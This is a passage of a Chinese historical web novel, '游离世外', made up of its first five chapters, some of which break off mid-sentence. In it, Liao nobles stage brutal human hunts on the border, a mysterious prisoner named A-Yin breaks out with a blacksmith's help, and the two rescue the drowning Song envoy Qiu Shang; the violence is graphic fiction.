《游离世外》 1. 美人池林 《游离世外》全本免费阅读 太平七年十一月,隆冬大雪,冰封千里。 海津镇靠海,长年有凛风吹拂,四周境况落得凄清。这一带地界被辽国武力辖制,属于辽宋两国的边境。辽国在镇头设立煮盐灶,在灶田四周围上棚庐,形成了“滩场”。此时天寒地冻,无盐可炼,滩场就被一批辽国贵族拿来作了猎场。 当世,辽国十二岁小皇帝刚即位,萧太后临朝,各部亲王势力蠢蠢欲动,以乙室部动静为大。 他们本来把持着边境两州的地盘,掌管多数营务,朝中改制,前后交替有些动荡,他们应乱而鼓噪,嫌弃边防苦久,时常骑马喝酒找乐子。 辽国马背起身,喜欢狩猎,若是像海津镇这等苦寒之地,无兽可猎时,便被他们生出一种新式玩法,猎人。 现今贵圈流行两项戏乐:豢奴和狩猎,他们暗地里做得勾当,想着能一举两得,于是又猎又杀——猎杀流杂民众,炼蛊一样,赌出命最硬的人,将那人强征来做自己的“刍牧”。 刍牧,就是骑行奴隶,被主人套上面罩与项锁,地位与牛马猪狗无异。 前几天,他们以重箭、钩镰、汤镬虐杀了一批流民,将活口赶至海里,抛刺叉、丢火药,使得血肉零落,无一人生还。 意兴便索然了一些,打算今日试试新花样。 “这几个小娘们不错,比上一批的成色强。” “叫大王别着急猎嘛,先放在车里玩玩,胯|下骑张嘴多爽快。” “别坏了人身子,到时候怎么给大王交差?” 一路的污言碎语冲进了耳鼓。 巳时起,显贵们各带亲兵与伴当,乘猎车呼啸进场。亲兵的铁骑钉着特制的马掌,依然不能驾驭冰雪地面,马蹄有些打滑,因而个个下马候命,列队排在外围。 伴当们下车,忙不迭推出几架刑具、武器、铁械陈列架,擦得地面簌簌响,刮起冰屑飞溅。他们都有眼力见地远避了“美人池林”,将陈列架很熟练地送到了猎场雪道边,然后严阵摆上。 雪地中央的水池,水质粘稠,时不时翻出一两个血腥的气泡,池面升腾着一层气雾,将内在掩得不甚分明。 这一处狩猎的对象,是从辽境各地打草谷时抢夺的妇女、教坊司的歌伎,还有卖不出去的官奴们,个个轻衣便体不堪一击的样子。她们跌跌撞撞被雪亮的矛戟,一路驱赶到猎场内。 贵族们在猎车营地里拥锦衾、喝烈酒,用猎鹿刀指着猎物,说着生硬的中原话,这时,碳炙的羊肉冒出滋滋油香味,他们就没了那个耐心,叫全场唯一的通译,代替他们传达指令。 通译是个瘦瘦高高的年轻汉子,面色黑黄,身体劲道。辽人连番屠尽几个村寨,发觉这人在偏僻村头打铁,因要定制马掌,先留了他一命。窝棚里走出个妇人,也就是铁匠的娘,用契丹语不住跪地求饶,奉上所搜的钱财,才得以保全了娘俩的命。 辽军倨坐马上,用血刀搁在铁匠颈边,还待询问他的出身,来辨析真伪。他娘大惊失色扑过来,拼命哀求,大王别杀了他,虽说我儿常被骂作野种,但他身上流的也是契丹族的血啊。 说着,娘亲出示官府发放的“过所”,即通关路引,表明自己来自契丹迭剌部,从北方到边境,是来探亲的。 所探的亲人,自然就是铁匠。 辽军队长发觉汉子无多大血性,将他掳掠至军营,逼他打铁制造械具等。又发觉他通晓汉话、契丹语,将他进献给贵族,讨得了一些赏银。 贵族拿娘亲作威胁,要铁匠好好效力。娘亲手握凭证,声称系正宗契丹族出身,不至于被屠戮。她被纳进寨堡里,做了膳食仆妇,外出采办、听遣,行动未受限,地位要比奴隶高些。娘亲又向心善的主家公子苦苦哀求,耶律慕就以金带、匹缎、弓箭、鞍马等物,与那名贵主交换奴隶,将铁匠要了过来。 铁匠白日里去贵主狩猎营锻造,晚上回寨堡与娘亲团聚。 此时贵主狩猎,依照惯例,铁匠随侍,充作通译,兼喂养牲畜等事务。贵主喜田猎,嗜杀戮,铁匠目睹两场惨烈围捕,报与耶律家公子听,因地位低下,未得回复。 这一刻耳边传来贵主吩咐,便是要他亲眼见证第三场狩猎。 铁匠朝看台躬身拜了拜,再弓着腰走到台侧,对一众惊慌失色的女子们说:“夷离堇大人就是看台上的这些贵人们,大人要你们朝前跑,跑过了那个水池,就放你们走。” 女子们转头看看冒着水雾的池子,氤氲着不明的色泽与味道,都犹疑而不敢动。 贵族一声令下,重箭纷纷射向人群,三四人立仆。还有的被箭矢钉穿了绣花鞋,拖着血迹斑斑的脚朝前跄去。众女慌乱而奔,不断听闻身后倒地的声音,哪里还顾得了许多,提裙跑向唯一的一条道,纷纷涉水,想冒死趟过池子。 她们哪里知道,池里装着绿矾油、硝石、硇砂炼制成的镪水,满当当的涌向池壁。池底即使做了防蚀护层,镪水也逐渐消腐了池子,一旦众多妙龄的、无辜的女子们踏进,她们将拔足难出,熔成新一轮的红粉骷髅。 各种炙烤味、惊叫哭泣、惨烈嘶鸣混在在冷风中,冲撞在一起,还有肉脂腐化后难以言说的气息。 贵族伴当中有一掌管盐铁的官员,看着美人池林中翻滚的,又抱成一团迅速陷落下去的肉泡,皱着眉说:“这趟池子消耗过快,不够稳定,矾石水油还需调调。” 他的中原话说得顺溜,是受权贵耶律家影响,所习的是辽宋两国的礼仪、文化、制度等,才主动请缨,来这边境公务。 盐铁判官要斡旋和结交的人有两个,其中一人就在眼前,称为“夷离堇”。 夷离堇原是草原游牧民族部落首领,现成为辽国兵马官员,被辽一律公称为“大王”。 夷离堇有意将这块炼盐地收为私用,于是回头吩咐:“再拉一批人来。” 亲兵与场外随侍长官交谈后,及时回传消息:“禀大王,现在能用的,只剩下重监里的那些人。” 重监关押的不外乎重案犯与死囚。 夷离堇手一挥:“拖来。” 亲兵转身去兵司监重监房提人。 趁间隙时,盐铁判官递上一把镶嵌了玛瑙的割肉刀,说道:“大王请鉴,这是宋使送的礼,面呈于您。” “什么宋使?” “这事说起来有点周折。起因是宋廷派了个盐铁使过来,听说是个公子哥,来洽谈盐铁互市的,还没到我们地头,就被莫州的军头儿冲杀一阵,吓得不轻,打马跑回中原,丢下一个副手在这顶缺。” “一介副手,瞧着病恹恹的,浑身上下没有几两力气,他很识时务,怕魇着大王,就差人送来一匣子礼品,着重示意割肉刀精利,所以先给大王奉上。” 夷离堇:“他人在哪里?” “此刻怕是在馆舍听命。” “也拖来。” 两队亲兵分成两路各自提人。 先到场的,是身穿黑衣黑裤的囚犯们,为方便役使,统统未上枷。有十人被皮绳捆成一串,双手互缚,赤脚,走来时雪地有斑驳血迹。另有五人是死囚,所犯罪行应比捆绑的重犯更可怕,手脚均带锁铐,还被链锁反扣住了肩肋,一路拖行至此。鲜血渗落,混杂雪水,地上像是覆盖五道血痕车辙印。 他们已不知生死,四肢垂落,死狗一般的被丢弃在地灶坑里。 夷离堇看了皱眉:“只有这批货色。” 盐铁判 2. 开盲盒 《游离世外》全本免费阅读 站在雪霰里、人群后的铁匠,面色着实讶异了一下。方才他不着痕迹地打量金叶子时,虽惊慕它的工艺,由于长年的磨难,脸上向来是默无表情的。 盐铁判官瞧着铁匠黧黄色的脸,说:“这样的人,实在是平奇,买去做什么?” 秋上缓缓回:“推车。” 盐铁判官看向夷离堇,请他定夺。夷离堇摆了下头,一名亲兵站在秋上身后,双手把持住车背,将秋上略略调整方向,正对着他家大王睥睨的眼色。 夷离堇生硬地说:“这兵送你。” 那就是铁匠不能卖了。 秋上不置可否。 金叶子还搁置在扶臂上。 夷离堇甩了下腕挂的短鞭,唰的一下在雪地里脆响:“本大王的场子,不谈买卖,只赌东道。” 盐铁判官看着秋上点头,以示不假。 秋上道:“我赌。” 盐铁判官忙道:“公子识时务。” 秋上再次缓慢从袖囊中拈出两枚金叶子,其价值,已然能买下随从等二十数人。每拿五枚金赌一场,怎么看都是划算的买卖。 风起,吹得他的唇色青紫,臂上伤口濡血,已凝结。 相较之下,夷离堇穿着皮袄,系挡风护腰蔽膝,全然不顾宋使之处境,倨傲道:“早些答应,少吃苦头。” 他走回烤炙得火热的营地拖车里,秋上坐在风中。 吃了几口肉后,夷离堇才懒洋洋吩咐:“规矩说给他听。” 盐铁判官转身对秋上说:“赌一人,谁留到最后。公子若错了,自身需顶上,怨不得大王。大王赢了,把那人带走,公子的去留要听任大王的。” 秋上回:“互市一事——” “也以此为东道。” 秋上打量一下全场,重犯站着,死囚摊在地坑里。在场的辽兵不可选,铁匠不能卖,贵族的伴当随侍没一个牢靠。那么,辽大王所说的赌“人”,顺利成章的,只能从囚犯里选。 秋上惜力,从扶手上抬了抬指:“第三人。” 他的面前,只有地灶坑,坑底落着一个死尸样的人。那人面朝下,黑色罩袍褴褛,号衣、肩刑、剥落的血迹、身量大小和其他囚犯看起来差不多,只在眼部系了一条宽绑布,一路拖曳摩擦过来,绑布污浊不堪,倒也没落下。 盐铁判官数数地灶,无论从左边还是从右边,那个眼系绑布的“瞎子”都是第三个。他走过去踢了一脚,坑里的人痛得呻吟一声。 盐铁判官一把扯下他的绑布,将他一头乱糟糟的头发提起,让他的脸完全展露在雪地里。 冲着秋上喊:“这是个睁眼瞎,光景瞧着不大好,公子选定了?” 虽说在猎场,处处透着难以善终的杀机,选一个体格强壮的重犯,也比这坑底的瘦子强不是。 秋上瞧着死囚的脸。 那人死气沉沉,全身上下脏污破败,唯独蒙眼布后的眼骨、鼻梁,是干净秀挺的。常人被外力抓擢了头发,必定是吃痛,进而牵发了脸上的抽搐。他却安然闭着眼,一动不动,像死透了一般。 秋上道:“就他。” 盐铁判官忙不迭地丢下囚犯,把手在外衣上擦了擦,有点犯嘀咕。自秋上进场,买人选赌,出乎意料的,两次挑选的都是不着眼的人。他自身掌管盐务,虽有意与宋促谈,成就一点业绩,回去好在耶律公子面前说道说道。但,强龙压不过地头蛇,公子不在跟前,如今大王管控全场,大王嗜赌,不能败兴,这样看来,约赌一事最好不出花样,让两边都能顺遂圆场。 盐铁判官叫来重监值务,问了该囚犯的出身来历,先禀告给夷离堇,听到大王不甚烦的发落下来,谁都一样,心里有底,再又转身去说给秋上听。 盐铁判官有意卖些人情下去,细细说道:“这瞎子不知来历,据无户籍,听同船案犯称,诨名叫‘银’。瞳生异色,是不祥之人,在重监里除了吃就是睡,拷掠一次,问不出半个字。生得体臭,眼睛又骇人,瞧着实在是晦气,不敢让人靠近——公子真的选好了?” 秋上:“嗯。” 继而又艰难说道:“买他,按律,落籍我名下。” 九个字,费他一身力气。 话意说得很清楚,这囚犯,是他的人了。 盐铁判官也依规矩,实则是顺水推舟,继续卖点薄面给宋使,拿来名册,将“银子”一名涂抹了,把案状择要弯腰放在秋上怀里。 可是秋上已无力气拾取。 盐铁判官咳了一下,又给秋上展开案状,杵在他眼前。 纸上写着银子从海外流窜而来,抵达海津渡口时,拿不出通关凭证,突放火烧船,鼓噪生事。同乘中的高丽国使者被烧死两人,另通译被他推落海中难卜生死,他弃船逃上岸,跑得力乏,最后遭捕。 搜身时,臭不可闻,役工觉得他全身冰冷,按至他胸口,掌心被刺,当晚就暴毙。 典狱提审他,刑掠一次,审不出所以然,还被他啐了一口脏水,恶臭难闻,几乎毁尽半张颜面。 再问也是闭嘴不语,负隅顽抗。 待得勾批处决的名单下来,监狱里更是没人为难他——一个混吃等死的狱霸,大抵上,也无人敢招惹的。 他整日的吃了睡,睡了吃,安然赴死。 今天不凑巧,夷离堇缺猎物,将他提点了来,又落进秋上眼里。 秋上垂下眼,盐铁判官便识趣地将案状收起,再次放进秋上怀里。 既无异议,那么猎场赌约便开始。 盐铁判官喝令亲兵将银子,也就是中原惯称的“阿银”,架起身来,说道:“兀那案犯,睁眼看仔细了,秋公子是个体恤你的人,把你买了,你给他好好比划,说不定,还能博得一条命。” 阿银当真睁开了眼,刹那间,雪地里一片寂静。 他的眉眼深邃,如墨刷,双瞳中各带一片银绿色,与瞳孔边缘处的一圈黑色相撞了,像是暗沉天幕抖落出银亮的星星,美得惊心动魄。可当他凝神看过来时,银色扩张,恰似苍茫夜空中的冷月,乍然一绽,寒彻透骨,凛然气象侵占整个视野。 与他对视一眼,别说不祥,就是“难以善了”的凉透之气,也通通生得出来。 秋上看得目不转睛。 阿银睁目一瞥,就把秋上看得极清楚,复又闭眼,黑鸦睫毛徐徐落下,自如收放了骨相上的疏冷。 秋上道:“除镣。” 远处的夷离堇不耐摆手,盐铁判官便加紧工夫,唤人给阿银剥落了所有刑具。 身上褴褛的罩衣除下,露出了里面一套褚色衣裤,还算是完整的。脚上不知他从哪里弄到一双旧皮靴,与裤脚绑得紧紧的。 阿银坐 3. 打锤子 《游离世外》全本免费阅读 阿银用手臂撑了一下,从雪地里缓慢起身,又踉踉跄跄朝营地走去。 盐铁判官看得眼急,用先备好的帕子捂住鼻子,抬腿就朝阿银臀上踢去。阿银比他高,晃悠一下,恰好避开了这一脚,跌坐在雪地里。 盐铁判官自身踢了个闪失,险些摔跟头。他冷哼一声,先赶到营地那边,凑在夷离堇身边说:“三号案犯滑头,大王多些备手。” 夷离堇酒足饭饱,脸色微醺,抬头看看已经隐没的日头,不耐道:“本大王手心里的小东西,还能怎样?等久了的羔羊,要慢慢宰。” 盐铁判官识趣退下。 大王先前就说了,狩猎直杀到剩下眼前这批货色,要惜着用。该提醒的自己已经提醒了,大王不放箭想慢慢戏耍,他不闭嘴退下怎行? 阿银正好走到看台前,用蹩脚的契丹语说道:“大王想怎样玩?” “打架,杀人。” “怎样打?” “打死,打到海里。” “好。” 阿银满口答应,却又不动作。夷离堇问:“还等什么?” “等个锤子。” 夷离堇鄙夷道:“粗蛮人等,不配用铁器。” 阿银:“用锤子,很有看头。” 夷离堇略一思索,摆头:“给他。” 铁匠应声从陈列架上,提来唯一的一把铁锤,竖立在雪地里。 阿银看都不看:“这个不好。” 夷离堇喝道:“如何不好?” 阿银道:“重了些。” “粗蛮人等,本就不配使用铁器,本大王开恩——” “重锤费力气,而我不饱腹。” 夷离堇抓起酒杯砸了下去:“死狗奴,哪有闲心说这多的话头!” 阿银侧头,让酒杯砸空了。 夷离堇一掌拍上猎车,“还打不打?” 阿银回道:“打个锤子。” 铁匠稍踏进一步,低声道:“现打,时候不够。” “好,好,好。”夷离堇怒了,“小小一猪狗奴,敢戏耍本大王这么久,简直活腻了。” 他一招手,两排亲兵立刻上前一步,齐齐抽出雪亮的军刀,唰的响彻雪地。一人按照平时列队操练,跃下看台,挥刀朝阿银砍去。 阿银冷冷道:“让开。” 铁匠忙不迭走到一边,比军刀的动作先一步。 阿银以右脚为重心支地,抡起铁锤,在雪空里划出一道黝黑的光影,直罩亲兵面门。 亲兵口吐鲜血立毙。 夷离堇冷哼:“荷,还藏了一手,真的要本大王有看头。”他命令拖走亲兵尸体,记录发两份额的恤金,还转头对阿银说:“你要慢慢的死,让本大王瞧个尽兴,死得太快了,拖出去喂狗。” 甚至不屑于对阿银放暗箭,吃定阿银瘦弱可欺,必然活不长,自身的骄横之气展露无遗。 场上之人都看惯了生死,一时无人敢应声,也无动作。 夷离堇下令吹号角,身旁的亲兵迅速围过来,护住他,还放出了两三支响箭,驱赶阿银进入猎场。 猎场的两边围堵正式开始,留在外围的亲兵上马,掏出了弩弓。看台上的亲兵手持军刀,疾步跑向囚犯们。伴当们亮出武器,站在雪道左右两边,打算补刀漏网之鱼。 阿银顺势退下,微微朝铁匠点了下头。铁匠属于辽营役夫,狩猎一起,按例需退守,此时无人看管他,他便乘着隆隆蹄声摸向窝棚。 原先留在秋上身边的亲兵,推动轮椅车,径直朝着冰地那头,海口盐田走去。 秋上迎上冰雪海面反射来的亮光,想动,又思索一下,最终眉眼岿然,手脚也寂然。 一时之间,各方人马开始动作,混杂声此起彼伏。 最先反应过来的是囚犯。 他们作奸犯科,杀人不手软,知道这样的阵势意味着什么。一旦有第一个人跑向陈列架,其余的人顺势立刻跟上,纷纷选好了称手的武器。 他们互相帮助,用利器劈断了铁链,用剪子绞断了锁扣。十四人不约而同站成一圈,背靠背,面朝外。 现在的问题是,杀阿银一人,还是跟亲兵拼命。 杀阿银,无非除去一个同类,武力少一人,兴许能让辽国大王叫断猎杀,再公推一人出来作饵;杀亲兵,完全是拉几个垫背,最好的结果不外乎是,趁混乱,逃出一个算一个。 但同为刑囚案犯,谁会为他人搏命,把微乎其微的机会遗漏给旁边的? 于是他们又各自犹疑一下,看了看身边的人。 电光火石之间,最先跑向陈列架拿武器的死囚,名叫湛无,又是他最先做出选择,喊道:“我来的时候,那死鱼眼阿银已经在重监里头,活得比谁都长久!——他的本事大不大,我不知道,但我敢赌,他知道今天怎么逃!” 其余的囚犯看向阿银,阿银已拖着铁锤,走向美人池林。 许是怕死,仍有囚犯挣扎着说:“他真有那能耐,早就从号监里跑了——” 头犯湛无怒道:“你看过能有几人,整天的拖着二十八斤锁镣,还吃了睡睡了吃的?” 就这种定力和心境,已足够做一名悍匪。 狱霸之名也实至名归。 众人突然醒悟了,纷纷跑向阿银那方。 伴当们手持利器截道,囚犯冒死冲杀,最先掀起第一场混战。 弩箭射杀第二批赶到,伴当们识得厉害,刀箭不长眼,他们的命在夷离堇眼里也没那么重要,纷纷躲避了开去。 囚犯得以有机会继续朝前冲。 阿银是第一个走向死地美人池林的,既然是条死路,肯定没人防守。再朝前,就是海边盐田、断壁树林,冰天雪地,除非投海,也无退路。 阿银长驱直入。囚犯们跟在后,紧紧追赶,后背被追兵射中了弓弩也顾不上了。 领头的湛无,是一号重监里的死囚,边跑边问:“阿银想好怎么跑的吗?” 阿银拖着伤腿来到池边,转身说:“杀辽兵,纳投名状。” 听他的意思是多杀几个辽兵,向他这悍匪投状,才能有下一步的计划。 囚犯们立刻手持冰镐、钩镰枪、还有长刀,转头与辽兵拼命。 骑兵在雪地上追击,不是那么便利,还需一些工夫,才能整列队伍向前,形成包围圈。 再加上伴当、囚犯那些混战,足够给阿银争取到时间。 阿银纵身一跃,跃过池面,稍稍踉跄一下。站稳后,他打量着冰地下,地脊走向、盐田梗的分布,然后抡起铁锤重重砸了下去。 池壁破裂,粘稠的尸骸骨肉水缓缓流动起来,烧穿了地灶洞,朝下掉落。 他一路退一路砸,把一池水全部导流出来,淹填了几个地灶洞,又烧蚀出大窟窿盆口,一直小心翼翼避着脚下。 这些地灶洞底并未连通在一起,旁边有盐田引水的渠道,当初辽人挖凿时,已经改变了地脊的厚薄。如果后面有人朝盆口丢进火药,撼动了盐田的根基,那么引发的恶果,是足以侧目的。 亲兵骑马追击到池边,前路已损毁,蚀水流过的地界,马蹄难以踏足。他们见雪道被毁,自然而然绕过栅栏,从两边包抄过去。 阿银拖锤急退。 雪霰飞舞,冷风扑面,不大一会儿,雪花卷落。 混杂天地间,各方人马辨析方向、做出决断。 4.海底捞 《游离世外》全本免费阅读 铁匠先冲囚犯们抱了抱拳,转身对阿银说:“辽大王已搬来救兵,出滩场的路被完全封死,外围还有重兵把守。” 阿银问:“备船了么?” 铁匠道:“仓促间难以备齐物要。炸地洞的火药、装蚀水的水球,都是从辽人那边现取的,为了托运它们过来,我赶了两趟车。套车的狼狗还在林边候着,已被驯熟,你看用得上么?” 囚犯们这才省得,一直待在重监号里的阿银,在外面其实早有帮手。 就是不知他们在场上,是如何交流的,砸池、引水、烧地、投砸火药、运送蚀水取来杀人,所有的一切配合默契。 囚犯在当场厮杀,是慕从心思,见阿银做什么他们就做什么,听阿银吩咐就照办。 眼下遇到一个难题,怎样全身而退。 铁匠又说:“还有个人别忘了,不知他去了哪里。” 阿银漫不经心的,“那秋,秋——秋什么?” 铁匠道:“秋上公子。” “什么来头?” “宋特使,督盐铁外务,可能是宋廷某权贵家公子,看上去很有钱。” “他人呢?” 一号死囚虎声答:“猎杀一起,亲兵就把秋公子推到了海边,阿银炸断护堤,我从远处瞧见,秋公子被火炸力道掀落进海里。” 铁匠面色一紧,“这等重要的事,怎么不早说!” 他几步赶到断崖前,打量海面,过后再向囚犯一一抱拳,“各位郎君,烦请帮个忙,将秋公子与车椅打捞上来。他若是死,这溺杀使者的罪名,可赖在辽人头上。他命大不死,我们打着护送的名头,还能由他保我们一程——但,无论生前死后,他都离不开那个车椅,我想原璧送还,不知各位郎君能否助我一臂之力?” 他这一臂之力可不轻,手臂肌肉贲张在袖里,用布腕带缠上,也难以阻挡其力量的显现。 囚犯们经过几场拼杀,只剩下零落三人,分别是重监里一号、四号、五号死囚,算上阿银和铁匠,也只有五人之力。 况且,囚犯面临的是滔滔海水,虎啸龙吟,冰冷刺骨,后面有虎狼辽军步步逼近,似乎已是陷入绝境。 铁匠抱拳再请,“我铁青指天为誓,日后若能效力于郎君,必甘驱使,决不食言!” 囚犯迟疑地看着阿银。 阿银却瞅着海水冷波出神。 铁匠叹了口气,走到阿银背后说:“秋上是真的有钱,此刻还在身上。” 阿银动都未动。 铁匠无奈说道:“救他,换券食(饭票)。” 阿银接过铁匠手上绳索,利索地一跃而下,像是一尾黑鱼。入海也不见水花,水下就是他的世道。 拉下蒙眼布,双瞳熠熠生辉,如探昼夜。他推测秋上落水的范围,绕着堤岸损毁的炸点不断回游盘旋,身上的雪水、血块、泥巴逐渐被海水冲释,皮骨轮廓像是瘦了一圈。 海水里很暗,水温寒彻透骨,可对他而言,熬过了这些冷寒,不啻是搁浅的灯鱼重新回到港湾。 沿着崖壁往下潜游,突然逡到一抹雪白。 那是秋上的衣袍锦色。 秋上沉身坐在轮椅上,浑然一体,双眼紧闭,发冠、衣饰浸在水里,依然无不精致,冰海噬物,于他仿似只是小憩。 阿银游过去一探究竟。 锦白衣袍熨帖在秋上的身上,他的四肢又服帖地靠进轮椅里。此时的海底,冰冷暗流、失血失温的折磨,未曾让他露出一丝苦痛颜色,他就一动不动安然受之,打算休眠于此。 阿银四处摸索,找到了轮椅的机扩,扳动后,四条绑束带收回,将秋上与轮椅分离开来。阿银托举秋上的身子,奋力向上游去。 秋上此时已不知死活,身子较沉。阿银翻游过来,冲着秋上毫无血色的脸狠狠打了两下,确信无反应后,凑唇过去,给他渡气。 秋上未醒,与身子一样,凉透了一般。 阿银将秋上缚在背后,驮着他向岸边游水。背负重物,没有单身入水那么便利,饶是阿银平日做个纵壑之鱼,此刻也少不了费一番力气。 好在岸上还有铁匠等人,而铁匠又是个天生气力大的。 铁匠用猎车上的勾链、铁索等物,将水下两人拖了上来。又鼓动三囚犯冒死下水,助他打捞起轮椅车。 一番折腾过后,崖边五人累得疲乏。阿银坐在石上歇息,铁匠跪地诊治秋上,先按压他胸口,替他排水,可他牙关紧闭,未曾泅出一口水。 铁匠贴耳细细一听秋上胸腔,说道:“活着,还有救。” 他手脚利落地挽绳结,套好轮椅车,试了试绳索拉车的韧性。 重监一号死囚湛无问:“现在怎样?” 远处又逐渐逼近嘈杂人声,还隐隐有火把光亮。 夷离堇的追兵已进场布排。 铁匠道:“两猎车停在林边,将车点燃冲击来人,我与阿银前去搦战,三位郎君带上秋公子从边林跑。那处估计也有辽兵镇守,我会去引他们离开。” 湛无道:“这怎好,不如我们去引战,铁哥带上秋公子。” 铁匠面色诚恳,“累及各位郎君奔波,某心里有愧。” 湛无回:“言重了。常言道,生死各安天命,我们三人,孑然来去,无所牵挂,走便走,死了也无妨。” 他向阿银抱抱拳:“我叫湛无,辽东人,不知小郎君是何名姓?” 阿银回神道:“游离,蜀池人,父亲赐字为银,叫我阿银。” 铁匠看着阿银不闻喜乐的脸,轻轻一叹。 阿银依石而坐,也未还礼,转头看着暗沉沉的海面,不甚为意的样子。黑沉苍穹,闪过迟钝闷响。 囚犯湛无抱拳,“我住辽东定远,离高丽国近,曾听闻一些事情,似乎与王室倾覆相关,不知小郎君可曾听得?” 阿银看都不看他,“你认错了人。” 湛无愈加恭敬,躬身作揖,然后大踏步走远。 另外两名囚犯说:“就这样走了?那我俩呢?” 他们疑虑看看四周,断崖无转路,地上还躺着个累赘。若是留在这里,少不得帮铁匠抬车抬人,耗费工夫。他们旋即当机立断,跟着湛无跑了开去。 三人凑一拨,互相比划手语,最后约定都爬到高树上,从树上逃生。 哪有他们说的大义引战之行。 湛无身手最为利索,手持投抢与精结绳,猴子一般挂靠在树上,将投枪丢出,听声辨位,再晃荡绳索,从高树上借力腾跃了远去。 愣是让地上的辽兵鞭长莫及。 其余两名囚犯学样奔逃,可惜力气懈怠,技巧不精,先后被射落, 5.摸银家 《游离世外》全本免费阅读 十一月二十日,雪夜。 海津镇郊村寨。 寒风呼啸,塞雪飘零。片片如蒲,积地半尺之深。 这里便是铁匠落脚之处,在村头僻静的地方,前后左右荒无人烟,又遭逢辽人屠村,所剩的活物真是不多了。 来时,铁匠就说了,这处窝棚泥室虽不打眼,也只能拿来下下榻、养养伤,待情况好转了,要立刻走,不能让辽大王围堵过来,拿他们做田猎。 一进泥屋房门,阿银又累又饿,一头栽倒在唯一的火炕上,说什么都不肯动了。 铁匠拆掉门槛,将秋上推进房内,取来棉被,给他捂上。 秋上形无所知,未曾醒过。 不是铁匠反复探过他的心脉,几乎可以确信,他们费尽力气搬弄出来的,八成是个死人。 铁匠生火燃灯,在灶里烧热水,趁着间隙,将狼狗赶远,放它们自行觅食。他在村寨来路、夹道布置了响铃地陷,前前后后安排妥当一些事,花费了一个半时辰。 待他回转,阿银还摊开手脚睡在炕上,秋上坐在桌旁轮椅里,孤灯剪残影,冥死状亦然。 铁匠走过去施了个礼,说道:“阿银不洗洗么?若是你身上的气味,引来辽兵的猎犬,该如何好?” 阿银扯了扯嘴角,想起夫子说的,久在鲍鱼之肆,就当闻不见鲍鱼之臭。 铁匠道:“浸汁、青盐、面脂、手膏、澡豆、药汤,偏房已给你备好,事出仓促,物件不够精细,你将就用用。” 阿银想起小时候被嬷嬷抱起,一番洗漱清修耽搁的工夫,委实无心思动作。 铁匠叹气:“就说你那牙口,吃起冬瓜盅来,恐怕也变了味道……” 阿银立即从炕上滑落,挪到脚踏上,横竖碾两下,终于挣扎起身,一声不吭走向偏房。 灯前,孤影残落,秋上闭眼凝然兀坐,轮椅车设计得精妙,与他身形极为契合,应是量身打造的。 铁匠过去探探他的鼻息,已然无声。 铁匠将炕上铺卷置换一遍,再将秋上挪到烧得火热的床炕,请过罪,脱去秋上一件件的上衣。不多时,一具保养得当的男人半裸身显露在灰蒙蒙的灯影里,虽说主人悄无声息,但紧致精瘦的轮廓,也道出了它平日修炼的辛勤。 一个天生残疾的男人,是没法炼到豹腰沉浑有力,两手抱握,不够提起。再看他四肢,匀称修长,隐带有风雨雷霆之势。 即使屈身躺就潦草的土坑,他那浑然天成的冷漠,与积久而成的矜贵,也让铁匠断然不敢草率对待。 铁匠就算眼拙,也看得出秋上来自权贵人家,此时怕是落难于他们之手,无力支绌罢了。 铁匠取来热水、皂膏并研面粉末等时兴的玩意儿,这些还是他那半路相认的娘亲,从西市上换将来的,一一给秋上备上。 用热巾浸面、粉末摩搓脸周,秋上的容颜依旧无血色,经过海水的浸泡,他的面皮可用“虚骨无相”来形容,青白的肌肤纹理,细细覆上他的耳边。 铁匠将秋上的攒丝薄玉冠、白玉带钩、革带等饰物先放进箱子里,锁上了,再替秋上濯发、漱口、梳洗、擦拭。一一小心谨慎,全然将人当成贵重国宾对待。 他将火笼移过来,替秋上熏暖,还在目所能及的范畴内,替秋上抹上护体的香膏。 此举,既是断隔开阿银无处不在的潮湿与腐气,也算是尊崇公子哥们平时的保养罢。 铁匠只叹,多年过去,还未曾忘记这些繁琐细则。 处置得当了,回头一看,真正要他伺候的小主阿银,此刻还未完毕洗漱。 他自是不知,阿银泡在药浴桶里,暖融融的睡着了。 木楞窗外,雪花片片;泥墙粉壁后,阿银将打铁炉子拖过来,炭火烧得旺盛,脱去满身的酸腐衣服,持个烧火棍在衣堆里挑出护身的软藤衣。他先细细冲洗护甲,将它妥当安置好,才一头栽进热汤里。 他屈蹲身子,在水中左右摆了摆头,油脂脏污并海水的冷咸,一层层浮现了上来。露出两个眼睛瞧了瞧后,自查未得铁匠净身的要求,又朝下蹲了蹲,妄图在木桶中,通过上下两次的漂洗,就能涤尽绵绵污秽。 如此反复试了几次,那热汤着实盛不下他的“年馀”,方才勉为其难爬出来,又换了一桶热水。 阿银慢慢慢慢地回想,嬷嬷、婢女怎样手把手替他梳洗妆容、更衣束服,觉得那些记忆太过于久远,恍惚间,眼前的陋房杂物变得不真切。 然而转眼看到身上的伤痕,意识突地就清醒了。 他已去家离国几载,野外的黍离蒿苗换了一茬又一茬,勒石碑也残破,谁还记得他这个没落之人? 阿银摸摸凉透的小臂,又钻进热汤里。他的身子天生寒凉,后面遭遇潮湿阴冷的囚栏历练,还是不大习惯冰冷而坚硬的质地。此时一被热水浸泡,块块斑斓红痧就冒出头来。 他靠着桶壁睡了过去,最终饿醒。 费了一番工夫,将自己收拾得清爽便利了,阿银便摸到灶头找炊食。可惜铁匠太忙,没有置办细粮,只在陶罐中简单放了些豆瓜肉糜,裹了些面汤,一并塞在灶膛里。 那香味,还是让阿银垂涎。 他拿铁钩掏了掏,确信没有冬瓜盅之类,就小心取出豆瓜汤,用两盏碗盛了,端进了室内。 铁匠等候多时,与阿银打个照面,交代下:“你细细歇着,我去外面探下消息。大王检索后,若知我走散,必定追本溯源,来这村寨搜我,我得想个法子化解。” 阿银将汤食放在桌上,说道:“吃了再走。” 铁匠着重一抱拳,“秋公子那边,委你多照看下,万不得已,也别糟蹋人家。” 阿银一哂:“瞧你说的什么话。” 铁匠又道:“炎颜扮作我娘亲,投靠进耶律家的寨堡里,平时里仗着契丹迭剌部正统的出身,别人奈何不了她。我怕大王来寨堡拿住她生事,想赶去寨堡一趟,与她先会面,后面的事儿,我们再慢慢商量。” 阿银不以为然,“炎颜在耶律家做了掌厨,夷离堇不见得为难到她。” 铁匠搓搓眉,“话虽如此,也得拂照一下,毕竟,都是一家人。” 阿银点点头,铁匠顺心离开,并锁上了院门。 内室只余两人,一立一卧,一动一静。 阿银走到桌前,用白匙舀起汤食,看着炕上的秋上,一口口吃了下去。他吃得慢,烛影陪他悠悠走了一圈,光晕落在炕沿,将秋上罩得模糊,可他面容轮廓、周身紧致的线条,也在光影昏暗处,穷凶极奢煊赫了出来。 